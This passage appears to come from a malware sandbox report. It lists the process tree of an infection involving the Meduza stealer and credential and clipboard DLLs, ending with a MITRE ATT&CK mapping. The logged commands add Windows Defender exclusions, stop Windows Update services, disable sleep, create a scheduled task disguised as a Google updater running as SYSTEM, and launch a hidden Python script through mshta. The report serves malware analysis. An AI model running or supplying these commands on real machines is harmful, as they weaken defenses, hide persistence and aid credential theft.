      - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\aca439ae61e801\cred64.dll, Main
        6⤵
        Loads dropped DLL
        
        PID:5368
        
        C:\Windows\system32\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\aca439ae61e801\cred64.dll, Main
        7⤵
        Loads dropped DLL
        
        PID:5508
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 5508 -s 596
        8⤵
        Program crash
        
        PID:5680
      - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\aca439ae61e801\clip64.dll, Main
        6⤵
        Loads dropped DLL
        
        PID:5436
  - - C:\Users\Admin\AppData\Local\Temp\1000173001\Meduza.exe
      "C:\Users\Admin\AppData\Local\Temp\1000173001\Meduza.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Accesses Microsoft Outlook profiles
      outlook_office_path
      outlook_win_path
      PID:380
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main
      4⤵
      Loads dropped DLL
      PID:720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3656
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5968
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:5388
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:6004
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:5200
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:5412
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:5700
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:5080
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:5464
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:5800
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:3216
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:6128
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:5212
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:5668
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#qbjrr#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5144
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:5196
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:5220
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:5324
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:5348
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#qbjrr#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5420
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:6100
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:6052
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:5212
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:4424
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:4664
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:5284
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:5992
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:5536
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Executes dropped EXE
    - Launches sc.exe
    PID:840
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:4476
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:5364
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#qbjrr#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  PID:1812
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:5416
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:6256
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:6284
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:6384
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:6424
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:6808
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:6884
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:7152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  PID:6252
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:6788
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4676
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1292
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1284
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:5092
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:4100
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:212
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:4932
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:4924
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:6844
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:236
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#qbjrr#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  PID:5764
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe
  2⤵
  PID:5816
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:6968

C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
1⤵
- Executes dropped EXE
PID:1160

C:\Users\Admin\AppData\Local\Temp\ebb444342c\legosa.exe
C:\Users\Admin\AppData\Local\Temp\ebb444342c\legosa.exe
1⤵
PID:840

C:\Users\Admin\AppData\Local\Temp\e8bff37b77\yiueea.exe
C:\Users\Admin\AppData\Local\Temp\e8bff37b77\yiueea.exe
1⤵
- Executes dropped EXE
PID:940

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:3172

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
PID:6864

\??\c:\windows\system32\mshta.exe
mshta.exe vbscript:Execute("Set oShell = CreateObject (""Wscript.Shell""):Dim strArgs:strArgs = ""cmd -windowstyle hidden /c C:\Users\Public\Document\python.exe C:\Users\Public\Document\run.py"":oShell.Run strArgs, 0, false:window.close")
1⤵
PID:5552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" -windowstyle hidden /c C:\Users\Public\Document\python.exe C:\Users\Public\Document\run.py
  2⤵
  PID:5072
- - C:\Users\Public\Document\python.exe
    C:\Users\Public\Document\python.exe C:\Users\Public\Document\run.py
    3⤵
    PID:5528
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist"
      4⤵
      PID:968
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:4724

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Scripting

T1064

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Scripting

T1064

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

System Information Discovery